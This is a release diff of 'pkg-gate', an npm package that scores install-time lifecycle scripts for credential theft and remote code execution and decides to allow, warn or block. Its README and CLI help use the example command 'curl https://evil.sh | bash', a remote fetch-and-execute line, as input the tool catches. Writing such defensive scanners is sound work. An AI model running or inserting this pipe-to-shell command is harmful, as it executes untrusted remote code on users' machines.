pkg-gate 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +113 -0
- package/bin/cli.js +139 -0
- package/package.json +42 -0
- package/src/gate.js +256 -0
- package/src/index.d.ts +116 -0
- package/src/index.js +54 -0
- package/src/questions.js +66 -0
- package/src/resolver.js +133 -0
- package/src/simulator.js +119 -0
- package/src/tui.js +501 -0
- package/src/utils.js +79 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Hemanth HM <hemanth@h3manth.com> (https://h3manth.com)
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
|
@@ -0,0 +1,113 @@
|
|
|
1
|
+
# pkg-gate
|
|
2
|
+
|
|
3
|
+
Pre-install security gate for npm lifecycle scripts using TypeSafe System One.
|
|
4
|
+
|
|
5
|
+
```bash
|
|
6
|
+
npm install pkg-gate
|
|
7
|
+
```
|
|
8
|
+
|
|
9
|
+
## Quick start
|
|
10
|
+
|
|
11
|
+
```js
|
|
12
|
+
import pkgGate from 'pkg-gate';
|
|
13
|
+
|
|
14
|
+
const report = await pkgGate('esbuild');
|
|
15
|
+
|
|
16
|
+
if (!report.isSafe()) {
|
|
17
|
+
console.error(report.inspect());
|
|
18
|
+
process.exit(1);
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
console.log(report.inspect());
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
`pkgGate()` evaluates a package or script against TypeSafe System One. `report.isSafe()` returns a boolean verdict. `report.inspect()` renders the TUI card.
|
|
25
|
+
|
|
26
|
+
## Check local package
|
|
27
|
+
|
|
28
|
+
```js
|
|
29
|
+
import pkgGate from 'pkg-gate';
|
|
30
|
+
|
|
31
|
+
const report = await pkgGate('./package.json');
|
|
32
|
+
console.log(report.action); // 'allow' | 'warn' | 'block'
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
Pass a file path or directory. `pkgGate` extracts `preinstall`, `install`, and `postinstall` hooks and evaluates each in parallel.
|
|
36
|
+
|
|
37
|
+
## Structured output
|
|
38
|
+
|
|
39
|
+
```js
|
|
40
|
+
import pkgGate from 'pkg-gate';
|
|
41
|
+
|
|
42
|
+
const report = await pkgGate('flatmap-stream');
|
|
43
|
+
const { verdict, scripts } = report.structured;
|
|
44
|
+
|
|
45
|
+
console.log(verdict.action); // 'block'
|
|
46
|
+
console.log(scripts[0].intent.choice); // 'credential_access'
|
|
47
|
+
console.log(scripts[0].accessesSecrets.probability); // 0.99
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
`report.structured` returns typed probability distributions and scores without string parsing. Serializes directly with `JSON.stringify(report)`.
|
|
51
|
+
|
|
52
|
+
## Evaluate raw scripts
|
|
53
|
+
|
|
54
|
+
```js
|
|
55
|
+
import pkgGate from 'pkg-gate';
|
|
56
|
+
|
|
57
|
+
const report = await pkgGate('curl -s https://evil.sh | bash', { script: true });
|
|
58
|
+
console.log(report.action); // 'block'
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
Evaluate arbitrary shell command strings before spawning child processes.
|
|
62
|
+
|
|
63
|
+
## Confidence-gated routing
|
|
64
|
+
|
|
65
|
+
```js
|
|
66
|
+
import pkgGate from 'pkg-gate';
|
|
67
|
+
|
|
68
|
+
const report = await pkgGate('untrusted-package');
|
|
69
|
+
|
|
70
|
+
if (report.action === 'block') {
|
|
71
|
+
report.assertSafe(); // throws Error with reasons
|
|
72
|
+
} else if (report.action === 'warn') {
|
|
73
|
+
await promptUser(report.reasons);
|
|
74
|
+
}
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
Threat scores and confidence gate execution. Low confidence (`conf < 0.50`) routes to human review instead of guessing.
|
|
78
|
+
|
|
79
|
+
## CLI
|
|
80
|
+
|
|
81
|
+
```bash
|
|
82
|
+
# Interactive prompt (asks for package name / scans ./package.json)
|
|
83
|
+
npx pkg-gate
|
|
84
|
+
|
|
85
|
+
# Check registry package
|
|
86
|
+
npx pkg-gate esbuild
|
|
87
|
+
|
|
88
|
+
# Check specific package.json
|
|
89
|
+
npx pkg-gate ./package.json
|
|
90
|
+
|
|
91
|
+
# Evaluate raw script string
|
|
92
|
+
npx pkg-gate "curl https://evil.sh | bash"
|
|
93
|
+
|
|
94
|
+
# Output typed JSON
|
|
95
|
+
npx pkg-gate esbuild --json
|
|
96
|
+
|
|
97
|
+
# Plain text output (no TUI boxes)
|
|
98
|
+
npx pkg-gate esbuild --plain
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
Exit code `0` on allow, `1` on block, `2` on warn. When a warning triggers in an interactive terminal, prompts the user for confirmation.
|
|
102
|
+
|
|
103
|
+
## Demo
|
|
104
|
+
|
|
105
|
+
```bash
|
|
106
|
+
npm run demo
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
Evaluates a token-harvesting lifecycle script and renders the TUI breakdown.
|
|
110
|
+
|
|
111
|
+
## License
|
|
112
|
+
|
|
113
|
+
MIT © [Hemanth.HM](https://h3manth.com)
|
package/bin/cli.js
ADDED
|
@@ -0,0 +1,139 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
import { parseArgs } from 'node:util';
|
|
4
|
+
import pkgGate, { formatReport } from '../src/index.js';
|
|
5
|
+
import { renderTUI, promptUserConfirmation, promptForTarget } from '../src/tui.js';
|
|
6
|
+
|
|
7
|
+
const helpText = `
|
|
8
|
+
Usage
|
|
9
|
+
$ pkg-gate [package-name | path | script]
|
|
10
|
+
|
|
11
|
+
Options
|
|
12
|
+
--script, -s Evaluate a raw shell command string
|
|
13
|
+
--json Output strictly typed structured JSON
|
|
14
|
+
--plain Output plain text summary (no TUI boxes)
|
|
15
|
+
--mock Force offline simulation
|
|
16
|
+
--yes, -y Auto-approve warning prompts in non-interactive CI
|
|
17
|
+
--block-score Custom threat score to block (default: 2.0)
|
|
18
|
+
--warn-score Custom threat score to warn (default: 1.2)
|
|
19
|
+
--help, -h Show help
|
|
20
|
+
--version, -v Show version
|
|
21
|
+
|
|
22
|
+
Examples
|
|
23
|
+
$ pkg-gate esbuild
|
|
24
|
+
$ pkg-gate ./package.json
|
|
25
|
+
$ pkg-gate -s "curl https://evil.sh | bash"
|
|
26
|
+
$ pkg-gate bufferutil --json
|
|
27
|
+
`;
|
|
28
|
+
|
|
29
|
+
async function main() {
|
|
30
|
+
const options = {
|
|
31
|
+
help: { type: 'boolean', short: 'h' },
|
|
32
|
+
version: { type: 'boolean', short: 'v' },
|
|
33
|
+
script: { type: 'boolean', short: 's' },
|
|
34
|
+
json: { type: 'boolean' },
|
|
35
|
+
structured: { type: 'boolean' },
|
|
36
|
+
plain: { type: 'boolean' },
|
|
37
|
+
mock: { type: 'boolean' },
|
|
38
|
+
yes: { type: 'boolean', short: 'y' },
|
|
39
|
+
'block-score': { type: 'string' },
|
|
40
|
+
'warn-score': { type: 'string' },
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
let args;
|
|
44
|
+
try {
|
|
45
|
+
args = parseArgs({ options, allowPositionals: true });
|
|
46
|
+
} catch (err) {
|
|
47
|
+
console.error(`Error: ${err.message}\n${helpText}`);
|
|
48
|
+
process.exit(1);
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
if (args.values.help) {
|
|
52
|
+
console.log(helpText);
|
|
53
|
+
process.exit(0);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
if (args.values.version) {
|
|
57
|
+
console.log('0.1.0');
|
|
58
|
+
process.exit(0);
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
let target = args.positionals[0];
|
|
62
|
+
|
|
63
|
+
if (!target && !args.values.script) {
|
|
64
|
+
if (!process.stdin.isTTY) {
|
|
65
|
+
console.error(`\x1b[31mError:\x1b[0m No package name, path, or script specified.\n${helpText}`);
|
|
66
|
+
process.exit(1);
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
target = await promptForTarget(helpText);
|
|
70
|
+
|
|
71
|
+
if (!target) {
|
|
72
|
+
console.log(helpText);
|
|
73
|
+
process.exit(0);
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
if (target === '--help') {
|
|
77
|
+
console.log(helpText);
|
|
78
|
+
process.exit(0);
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
if (target === '--version') {
|
|
82
|
+
console.log('0.1.0');
|
|
83
|
+
process.exit(0);
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
try {
|
|
88
|
+
const report = await pkgGate(target, {
|
|
89
|
+
script: args.values.script,
|
|
90
|
+
mock: args.values.mock,
|
|
91
|
+
blockScore: args.values['block-score'] ? parseFloat(args.values['block-score']) : undefined,
|
|
92
|
+
warnScore: args.values['warn-score'] ? parseFloat(args.values['warn-score']) : undefined,
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
// Structured JSON output
|
|
96
|
+
if (args.values.json || args.values.structured) {
|
|
97
|
+
console.log(JSON.stringify(report.structured, null, 2));
|
|
98
|
+
if (report.action === 'block') {
|
|
99
|
+
process.exit(1);
|
|
100
|
+
} else if (report.action === 'warn') {
|
|
101
|
+
process.exit(2);
|
|
102
|
+
} else {
|
|
103
|
+
process.exit(0);
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
// Plain text output
|
|
108
|
+
if (args.values.plain) {
|
|
109
|
+
console.log(formatReport(report));
|
|
110
|
+
} else {
|
|
111
|
+
// Rich TUI output
|
|
112
|
+
console.log(renderTUI(report));
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
if (report.action === 'block') {
|
|
116
|
+
process.exit(1);
|
|
117
|
+
} else if (report.action === 'warn') {
|
|
118
|
+
// If interactive terminal and not auto-approved with -y:
|
|
119
|
+
if (!args.values.yes && process.stdin.isTTY) {
|
|
120
|
+
const approved = await promptUserConfirmation();
|
|
121
|
+
if (approved) {
|
|
122
|
+
console.log('\x1b[32m✔ User approved installation despite warning.\x1b[0m');
|
|
123
|
+
process.exit(0);
|
|
124
|
+
} else {
|
|
125
|
+
console.log('\x1b[31m✖ Installation halted by user.\x1b[0m');
|
|
126
|
+
process.exit(2);
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
process.exit(2);
|
|
130
|
+
} else {
|
|
131
|
+
process.exit(0);
|
|
132
|
+
}
|
|
133
|
+
} catch (err) {
|
|
134
|
+
console.error(`\x1b[31mError:\x1b[0m ${err.message}`);
|
|
135
|
+
process.exit(1);
|
|
136
|
+
}
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
main();
|
package/package.json
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "pkg-gate",
|
|
3
|
+
"version": "0.1.0",
|
|
4
|
+
"description": "Pre-install security gate for npm lifecycle scripts using TypeSafe System One.",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"main": "./src/index.js",
|
|
7
|
+
"types": "./src/index.d.ts",
|
|
8
|
+
"exports": {
|
|
9
|
+
".": {
|
|
10
|
+
"types": "./src/index.d.ts",
|
|
11
|
+
"default": "./src/index.js"
|
|
12
|
+
}
|
|
13
|
+
},
|
|
14
|
+
"bin": {
|
|
15
|
+
"pkg-gate": "bin/cli.js"
|
|
16
|
+
},
|
|
17
|
+
"files": [
|
|
18
|
+
"bin",
|
|
19
|
+
"src",
|
|
20
|
+
"README.md",
|
|
21
|
+
"LICENSE"
|
|
22
|
+
],
|
|
23
|
+
"scripts": {
|
|
24
|
+
"test": "node --test test/*.test.js",
|
|
25
|
+
"demo": "node bin/cli.js test/fixtures/credential-theft.json --mock"
|
|
26
|
+
},
|
|
27
|
+
"keywords": [
|
|
28
|
+
"typesafe",
|
|
29
|
+
"system-one",
|
|
30
|
+
"security",
|
|
31
|
+
"npm",
|
|
32
|
+
"supply-chain",
|
|
33
|
+
"postinstall",
|
|
34
|
+
"lifecycle-scripts",
|
|
35
|
+
"gate"
|
|
36
|
+
],
|
|
37
|
+
"author": "Hemanth HM <hemanth@h3manth.com> (https://h3manth.com)",
|
|
38
|
+
"license": "MIT",
|
|
39
|
+
"dependencies": {
|
|
40
|
+
"@typesafe-ai/sdk": "^0.6.0"
|
|
41
|
+
}
|
|
42
|
+
}
|
package/src/gate.js
ADDED
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
import { TypeSafeClient } from '@typesafe-ai/sdk';
|
|
2
|
+
import { createLifecycleQuestions, THRESHOLDS } from './questions.js';
|
|
3
|
+
import { simulateLifecycleEvaluation } from './simulator.js';
|
|
4
|
+
import { extractLifecycleScripts, formatReport } from './utils.js';
|
|
5
|
+
import { renderTUI } from './tui.js';
|
|
6
|
+
|
|
7
|
+
/**
|
|
8
|
+
* Evaluates a package manifest or lifecycle script against TypeSafe System One.
|
|
9
|
+
*
|
|
10
|
+
* @param {object} manifest - Normalized package manifest
|
|
11
|
+
* @param {object} [options]
|
|
12
|
+
* @param {string} [options.apiKey] - TypeSafe API key
|
|
13
|
+
* @param {TypeSafeClient} [options.client] - Existing TypeSafeClient instance
|
|
14
|
+
* @param {boolean} [options.mock] - Force local offline simulation
|
|
15
|
+
* @param {number} [options.blockScore] - Custom score threshold for blocking
|
|
16
|
+
* @param {number} [options.warnScore] - Custom score threshold for warning
|
|
17
|
+
* @returns {Promise<GateReport>}
|
|
18
|
+
*/
|
|
19
|
+
export async function evaluatePackage(manifest, options = {}) {
|
|
20
|
+
const startTime = performance.now();
|
|
21
|
+
const scripts = extractLifecycleScripts(manifest.scripts);
|
|
22
|
+
|
|
23
|
+
// Fast path: No lifecycle scripts at all
|
|
24
|
+
if (scripts.length === 0) {
|
|
25
|
+
const report = createReport({
|
|
26
|
+
name: manifest.name,
|
|
27
|
+
version: manifest.version,
|
|
28
|
+
action: 'allow',
|
|
29
|
+
score: 0.0,
|
|
30
|
+
confidence: 1.0,
|
|
31
|
+
findings: [],
|
|
32
|
+
reasons: ['No lifecycle scripts found; package cannot execute arbitrary code on install'],
|
|
33
|
+
latencyMs: Math.round(performance.now() - startTime),
|
|
34
|
+
});
|
|
35
|
+
return report;
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
const apiKey = options.apiKey || process.env.TYPESAFE_API_KEY;
|
|
39
|
+
const useSimulator = options.mock || !apiKey;
|
|
40
|
+
|
|
41
|
+
let client = null;
|
|
42
|
+
if (!useSimulator) {
|
|
43
|
+
client = options.client || new TypeSafeClient({ apiKey });
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
const findings = [];
|
|
47
|
+
const reasons = [];
|
|
48
|
+
|
|
49
|
+
const blockScore = options.blockScore ?? THRESHOLDS.BLOCK_SCORE;
|
|
50
|
+
const warnScore = options.warnScore ?? THRESHOLDS.WARN_SCORE;
|
|
51
|
+
|
|
52
|
+
// Evaluate each lifecycle script in parallel (speculative fan-out)
|
|
53
|
+
const evaluations = await Promise.all(
|
|
54
|
+
scripts.map(async ({ hook, command }) => {
|
|
55
|
+
const state = {
|
|
56
|
+
package: {
|
|
57
|
+
name: manifest.name,
|
|
58
|
+
version: manifest.version,
|
|
59
|
+
description: manifest.description,
|
|
60
|
+
},
|
|
61
|
+
lifecycle_hook: hook,
|
|
62
|
+
script_content: command,
|
|
63
|
+
};
|
|
64
|
+
|
|
65
|
+
if (useSimulator) {
|
|
66
|
+
return {
|
|
67
|
+
hook,
|
|
68
|
+
command,
|
|
69
|
+
result: simulateLifecycleEvaluation(hook, command, manifest),
|
|
70
|
+
};
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
try {
|
|
74
|
+
const result = await client.systemOne({
|
|
75
|
+
state,
|
|
76
|
+
questions: createLifecycleQuestions(),
|
|
77
|
+
});
|
|
78
|
+
return { hook, command, result };
|
|
79
|
+
} catch (err) {
|
|
80
|
+
// Fall back to simulator if API call fails
|
|
81
|
+
return {
|
|
82
|
+
hook,
|
|
83
|
+
command,
|
|
84
|
+
result: simulateLifecycleEvaluation(hook, command, manifest),
|
|
85
|
+
fallbackReason: err.message,
|
|
86
|
+
};
|
|
87
|
+
}
|
|
88
|
+
})
|
|
89
|
+
);
|
|
90
|
+
|
|
91
|
+
let maxScore = 0.0;
|
|
92
|
+
let minConfidence = 1.0;
|
|
93
|
+
let maxSecretProb = 0.0;
|
|
94
|
+
let maxRemoteProb = 0.0;
|
|
95
|
+
|
|
96
|
+
for (const { hook, command, result } of evaluations) {
|
|
97
|
+
const answers = result.answers;
|
|
98
|
+
findings.push({
|
|
99
|
+
hook,
|
|
100
|
+
command,
|
|
101
|
+
answers,
|
|
102
|
+
model: result.model,
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
const intent = answers.script_intent?.choice;
|
|
106
|
+
const intentConfidence = answers.script_intent?.confidence ?? 1.0;
|
|
107
|
+
const severity = answers.threat_severity?.score ?? 0.0;
|
|
108
|
+
const severityConfidence = answers.threat_severity?.confidence ?? 1.0;
|
|
109
|
+
const secretNoul = answers.accesses_secrets?.noul ?? 0.0;
|
|
110
|
+
const remoteNoul = answers.remote_execution?.noul ?? 0.0;
|
|
111
|
+
|
|
112
|
+
if (severity > maxScore) maxScore = severity;
|
|
113
|
+
if (secretNoul > maxSecretProb) maxSecretProb = secretNoul;
|
|
114
|
+
if (remoteNoul > maxRemoteProb) maxRemoteProb = remoteNoul;
|
|
115
|
+
|
|
116
|
+
const lowestQuestionConfidence = Math.min(intentConfidence, severityConfidence);
|
|
117
|
+
if (lowestQuestionConfidence < minConfidence) minConfidence = lowestQuestionConfidence;
|
|
118
|
+
|
|
119
|
+
// Reason tracking
|
|
120
|
+
if (secretNoul >= THRESHOLDS.WARN_SECRET_NOUL) {
|
|
121
|
+
reasons.push(`[${hook}] Probable credential access (${(secretNoul * 100).toFixed(0)}% probability)`);
|
|
122
|
+
}
|
|
123
|
+
if (remoteNoul >= THRESHOLDS.WARN_REMOTE_EXEC_NOUL) {
|
|
124
|
+
reasons.push(`[${hook}] Remote code download or execution detected (${(remoteNoul * 100).toFixed(0)}% probability)`);
|
|
125
|
+
}
|
|
126
|
+
if (intent === 'credential_access' || intent === 'obfuscated_exec') {
|
|
127
|
+
reasons.push(`[${hook}] High-risk script intent classified as "${intent}"`);
|
|
128
|
+
}
|
|
129
|
+
if (severity >= warnScore) {
|
|
130
|
+
reasons.push(`[${hook}] Threat severity score elevated (${severity.toFixed(2)} / 3.0)`);
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
// Gating decision
|
|
135
|
+
let action = 'allow';
|
|
136
|
+
|
|
137
|
+
const isCritical =
|
|
138
|
+
maxScore >= blockScore ||
|
|
139
|
+
maxSecretProb >= THRESHOLDS.BLOCK_SECRET_NOUL ||
|
|
140
|
+
maxRemoteProb >= THRESHOLDS.BLOCK_REMOTE_EXEC_NOUL;
|
|
141
|
+
|
|
142
|
+
const isSuspicious =
|
|
143
|
+
maxScore >= warnScore ||
|
|
144
|
+
maxSecretProb >= THRESHOLDS.WARN_SECRET_NOUL ||
|
|
145
|
+
maxRemoteProb >= THRESHOLDS.WARN_REMOTE_EXEC_NOUL;
|
|
146
|
+
|
|
147
|
+
const isUncertain = minConfidence < THRESHOLDS.CONFIDENCE_FLOOR;
|
|
148
|
+
|
|
149
|
+
if (isCritical) {
|
|
150
|
+
action = 'block';
|
|
151
|
+
} else if (isSuspicious) {
|
|
152
|
+
action = 'warn';
|
|
153
|
+
} else if (isUncertain) {
|
|
154
|
+
// Confidence-gated routing: uncertainty prompts human review
|
|
155
|
+
action = 'warn';
|
|
156
|
+
reasons.push(`Low evaluation confidence (${(minConfidence * 100).toFixed(0)}%); human verification required`);
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
if (action === 'allow' && reasons.length === 0) {
|
|
160
|
+
reasons.push('Lifecycle scripts verified benign (standard build or verified binary)');
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
const latencyMs = Math.round(performance.now() - startTime);
|
|
164
|
+
|
|
165
|
+
return createReport({
|
|
166
|
+
name: manifest.name,
|
|
167
|
+
version: manifest.version,
|
|
168
|
+
action,
|
|
169
|
+
score: maxScore,
|
|
170
|
+
confidence: minConfidence,
|
|
171
|
+
findings,
|
|
172
|
+
reasons,
|
|
173
|
+
latencyMs,
|
|
174
|
+
});
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
function createReport(data) {
|
|
178
|
+
const report = {
|
|
179
|
+
...data,
|
|
180
|
+
isSafe() {
|
|
181
|
+
return this.action === 'allow';
|
|
182
|
+
},
|
|
183
|
+
inspect(options = {}) {
|
|
184
|
+
if (options.plain) {
|
|
185
|
+
return formatReport(this);
|
|
186
|
+
}
|
|
187
|
+
return renderTUI(this, options);
|
|
188
|
+
},
|
|
189
|
+
assertSafe() {
|
|
190
|
+
if (this.action === 'block') {
|
|
191
|
+
throw new Error(`Package "${this.name}@${this.version}" blocked: ${this.reasons.join(', ')}`);
|
|
192
|
+
}
|
|
193
|
+
return true;
|
|
194
|
+
},
|
|
195
|
+
get summary() {
|
|
196
|
+
return `${this.action.toUpperCase()}: ${this.name}@${this.version} (score: ${this.score.toFixed(2)}, conf: ${(this.confidence * 100).toFixed(0)}%)`;
|
|
197
|
+
},
|
|
198
|
+
get structured() {
|
|
199
|
+
return {
|
|
200
|
+
schemaVersion: '1.0.0',
|
|
201
|
+
package: {
|
|
202
|
+
name: this.name,
|
|
203
|
+
version: this.version,
|
|
204
|
+
},
|
|
205
|
+
verdict: {
|
|
206
|
+
action: this.action,
|
|
207
|
+
score: Number(this.score.toFixed(2)),
|
|
208
|
+
confidence: Number(this.confidence.toFixed(2)),
|
|
209
|
+
isSafe: this.isSafe(),
|
|
210
|
+
},
|
|
211
|
+
scripts: this.findings.map((f) => ({
|
|
212
|
+
hook: f.hook,
|
|
213
|
+
command: f.command,
|
|
214
|
+
model: f.model,
|
|
215
|
+
intent: f.answers.script_intent
|
|
216
|
+
? {
|
|
217
|
+
choice: f.answers.script_intent.choice,
|
|
218
|
+
confidence: Number(f.answers.script_intent.confidence.toFixed(2)),
|
|
219
|
+
probabilities: f.answers.script_intent.probabilities,
|
|
220
|
+
}
|
|
221
|
+
: null,
|
|
222
|
+
severity: f.answers.threat_severity
|
|
223
|
+
? {
|
|
224
|
+
score: Number(f.answers.threat_severity.score.toFixed(2)),
|
|
225
|
+
confidence: Number(f.answers.threat_severity.confidence.toFixed(2)),
|
|
226
|
+
rubricLevel: f.answers.threat_severity.legend?.[Math.round(f.answers.threat_severity.score)] || null,
|
|
227
|
+
probabilities: f.answers.threat_severity.probabilities,
|
|
228
|
+
}
|
|
229
|
+
: null,
|
|
230
|
+
accessesSecrets: f.answers.accesses_secrets
|
|
231
|
+
? {
|
|
232
|
+
probability: Number(f.answers.accesses_secrets.noul.toFixed(2)),
|
|
233
|
+
}
|
|
234
|
+
: null,
|
|
235
|
+
remoteExecution: f.answers.remote_execution
|
|
236
|
+
? {
|
|
237
|
+
probability: Number(f.answers.remote_execution.noul.toFixed(2)),
|
|
238
|
+
}
|
|
239
|
+
: null,
|
|
240
|
+
})),
|
|
241
|
+
policy: {
|
|
242
|
+
thresholds: THRESHOLDS,
|
|
243
|
+
reasons: this.reasons,
|
|
244
|
+
},
|
|
245
|
+
telemetry: {
|
|
246
|
+
latencyMs: this.latencyMs,
|
|
247
|
+
},
|
|
248
|
+
};
|
|
249
|
+
},
|
|
250
|
+
toJSON() {
|
|
251
|
+
return this.structured;
|
|
252
|
+
},
|
|
253
|
+
};
|
|
254
|
+
|
|
255
|
+
return report;
|
|
256
|
+
}
|
package/src/index.d.ts
ADDED
|
@@ -0,0 +1,116 @@
|
|
|
1
|
+
export interface GateReport {
|
|
2
|
+
name: string;
|
|
3
|
+
version: string;
|
|
4
|
+
action: 'allow' | 'warn' | 'block';
|
|
5
|
+
score: number;
|
|
6
|
+
confidence: number;
|
|
7
|
+
findings: ScriptFinding[];
|
|
8
|
+
reasons: string[];
|
|
9
|
+
latencyMs: number;
|
|
10
|
+
summary: string;
|
|
11
|
+
isSafe(): boolean;
|
|
12
|
+
inspect(options?: { plain?: boolean; width?: number }): string;
|
|
13
|
+
assertSafe(): boolean;
|
|
14
|
+
structured: StructuredOutput;
|
|
15
|
+
toJSON(): StructuredOutput;
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
export type GuardReport = GateReport;
|
|
19
|
+
|
|
20
|
+
export interface ScriptFinding {
|
|
21
|
+
hook: string;
|
|
22
|
+
command: string;
|
|
23
|
+
model: string;
|
|
24
|
+
answers: {
|
|
25
|
+
script_intent?: {
|
|
26
|
+
type: 'choice';
|
|
27
|
+
choice: string;
|
|
28
|
+
confidence: number;
|
|
29
|
+
probabilities: Record<string, number>;
|
|
30
|
+
};
|
|
31
|
+
threat_severity?: {
|
|
32
|
+
type: 'score';
|
|
33
|
+
score: number;
|
|
34
|
+
confidence: number;
|
|
35
|
+
legend?: Record<string, string>;
|
|
36
|
+
probabilities: Record<string, number>;
|
|
37
|
+
};
|
|
38
|
+
accesses_secrets?: {
|
|
39
|
+
type: 'noul';
|
|
40
|
+
noul: number;
|
|
41
|
+
};
|
|
42
|
+
remote_execution?: {
|
|
43
|
+
type: 'noul';
|
|
44
|
+
noul: number;
|
|
45
|
+
};
|
|
46
|
+
};
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
export interface StructuredOutput {
|
|
50
|
+
schemaVersion: string;
|
|
51
|
+
package: {
|
|
52
|
+
name: string;
|
|
53
|
+
version: string;
|
|
54
|
+
};
|
|
55
|
+
verdict: {
|
|
56
|
+
action: 'allow' | 'warn' | 'block';
|
|
57
|
+
score: number;
|
|
58
|
+
confidence: number;
|
|
59
|
+
isSafe: boolean;
|
|
60
|
+
};
|
|
61
|
+
scripts: Array<{
|
|
62
|
+
hook: string;
|
|
63
|
+
command: string;
|
|
64
|
+
model: string;
|
|
65
|
+
intent: {
|
|
66
|
+
choice: string;
|
|
67
|
+
confidence: number;
|
|
68
|
+
probabilities: Record<string, number>;
|
|
69
|
+
} | null;
|
|
70
|
+
severity: {
|
|
71
|
+
score: number;
|
|
72
|
+
confidence: number;
|
|
73
|
+
rubricLevel: string | null;
|
|
74
|
+
probabilities: Record<string, number>;
|
|
75
|
+
} | null;
|
|
76
|
+
accessesSecrets: { probability: number } | null;
|
|
77
|
+
remoteExecution: { probability: number } | null;
|
|
78
|
+
}>;
|
|
79
|
+
policy: {
|
|
80
|
+
thresholds: Record<string, number>;
|
|
81
|
+
reasons: string[];
|
|
82
|
+
};
|
|
83
|
+
telemetry: {
|
|
84
|
+
latencyMs: number;
|
|
85
|
+
};
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
export interface PkgGateOptions {
|
|
89
|
+
apiKey?: string;
|
|
90
|
+
mock?: boolean;
|
|
91
|
+
script?: boolean;
|
|
92
|
+
blockScore?: number;
|
|
93
|
+
warnScore?: number;
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
export type PkgGuardOptions = PkgGateOptions;
|
|
97
|
+
|
|
98
|
+
/**
|
|
99
|
+
* Pre-install security gate for npm lifecycle scripts using TypeSafe System One.
|
|
100
|
+
*/
|
|
101
|
+
export default function pkgGate(
|
|
102
|
+
input: string | object,
|
|
103
|
+
options?: PkgGateOptions
|
|
104
|
+
): Promise<GateReport>;
|
|
105
|
+
|
|
106
|
+
export const pkgGuard: typeof pkgGate;
|
|
107
|
+
|
|
108
|
+
export function evaluatePackage(manifest: object, options?: PkgGateOptions): Promise<GateReport>;
|
|
109
|
+
export function resolveManifest(input: string | object): Promise<object>;
|
|
110
|
+
export const THRESHOLDS: Record<string, number>;
|
|
111
|
+
export function createLifecycleQuestions(): Record<string, any>;
|
|
112
|
+
export function formatReport(report: GateReport): string;
|
|
113
|
+
export function renderTUI(report: GateReport, options?: { width?: number }): string;
|
|
114
|
+
export function drawBox(lines: string[], options?: { width?: number; color?: (s: string) => string }): string;
|
|
115
|
+
export function getTerminalWidth(fallback?: number): number;
|
|
116
|
+
|